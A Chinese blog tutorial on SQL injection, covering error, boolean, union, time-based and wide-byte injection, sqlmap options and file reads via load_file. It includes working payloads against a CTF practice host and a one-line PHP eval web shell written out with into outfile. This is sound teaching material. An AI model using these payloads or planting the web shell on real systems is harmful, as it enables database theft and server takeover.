sql注入基础
1.基于错误的注入
错误注入的思想是通过构造特殊的sql语句,根据返回的错误信息,确定注入点。
通过错误信息也可以探测数据库类型和版本等有用信息
通过输入单引号,触发数据库异常,通过异常日志判断数据库类型
2.基于布尔的注入
布尔注入的思想是闭合sql语句,构造or和and逻辑语句,注释多余的代码
例如 原sql语句:select * from Users where username='username' and password='pwd'
利用布尔注入构造语句: select * from Users where username='' or 1=1 -- ''and password='pwd',由于1=1恒真,所以可以返回所有表里面的信息。
简单的应用是万能密码: ‘ or 1=1#
3.基于union的注入
union语句用于联合前面的select语句获取更多信息
一般通过错误和布尔注入确认注入点后,就开始通过union语句获取信息
414a9060-9d5e-46ee-bbb5-fc85dd67d3c0.node4.buuoj.cn:81/index.php?id=1%27 order by 4 -- +
此时恰好没有页面没有回显,确认列数为3
414a9060-9d5e-46ee-bbb5-fc85dd67d3c0.node4.buuoj.cn:81/index.php?id=0%27 union select 1,database(),version() -- +
union联合的select语句的列数一定要与前面select语句查找的列数相同,如果union后select语句列数比原语句列数少,可以加数字填充,如果比前面多,需要用group_concat()关键字把内容合并成一条数据。这里利用union语句,得到了当前库名为note和数据库版本
4.基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过上面方式确认注入点,通过设置sleep语句探测注入点
用法是: 测试的数据' and sleep(t) -- +
如果测试的数据存在数据库,页面会延迟t秒相应
比较重要的函数
group_concat() 把内容连接成一个字符串
left() 从左侧开始取指定字符个数的字符串
ord() 返回ascii码
hex() 将字符串转成十六进制
unhex() hex的反向操作
md5() 返回md5值
floor(x) 返回不大于x的最大整数
rand() 返回0到1之间的随机浮点数
length(database()) 查看数据库名长度
substr(database(),1,4) 查看数据库名从第一位开始,取4位的字符
load_file() 读取文件,并返回文件内容作为字符串
sleep()
if(判断语句,t,f) 当判断语句为真执行t,否则执行f
find_in_set() 返回字符串在字符串列表中的位置
sql注入点的判断
如果是字符型注入点
原语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
当传入1'时的报错信息
1也会在报错信息中显示
如果是数字型注入点
sql语句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
报错信息
此时报错信息从'开始
报错注入
在数据库报错信息中得到想要的信息。
group by报错的具体原理参考:深入理解group by报错注入_group by 报错-CSDN博客
group by报错注入利用的是主键冲突,当主键冲突的时候数据库会报错,构造payload可以爆出数据库信息。
sql语句:select count(*) from users group by concat(version(),floor(rand()*2))
当主键冲突时
在报错信息中包含了数据库的版本
group by报错注入语句:
select * from users where user_id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
extractvalue报错注入语句:
select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));
updatexml报错注入语句
select * from users where user_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
sqlmap的使用
参数
-u "url"
--dbs 列出所有数据库的名称
--current-db 列出当前数据库名称
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有列名
-C 指定字段
--dump 列出字段内容
POST注入
先用bp抓包并把http报文保存到post.txt
sqlmap -r post.txt
利用sql注入读写文件
secure-file-priv
可以在phpmyadmin中看到该变量
在my.ini配置文件中[mysqld]可以修改该参数
secure-file-priv= 表示不对mysqld导入导出做限制
secure-file-priv='c:/a/' 限制mysqld的导入导出发生在c:/a/下(子目录有效)
secure-file-priv=NULL 不允许mysqld导入导出
查询用户具有的文件权限
select File_priv from mysql.user where user='root' and host='localhost' //查询localhost下的root用户的文件权限
要知道读写文件的绝对路径
读取文件操作:?id=-1' union select load_file("d:/onlytest/hello.txt") -- +
写入文件操作:?id=1' and select 1,'<?php @eval($_POST['111']);?>',3 into outfile "d:/onlytest/1.php" -- +
宽字节注入
一个字符的大小为一个字节成为窄字节,一个字符大小为两个字节成为宽字节
mysql使用GBK编码的时候,会认为两个字符为一个汉字(前面一位字符ascii码要大于128),gbk编码范围8140-fefe
当后面一个字符为%5c时,在前面添加一个大于%81的字符,会导致%5c表示的字符被吃掉,两个字符组成一个汉字。
sqli-labs的less-32
当你输入'时,会被后端转义,此时在前面加上%df可以把%5c吃掉,从而找到注入点
成功找到字符注入点
cookie注入
bp抓包后对页面的cookie值进行修改提交,查看反馈(跟输入框的sql注入类似)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】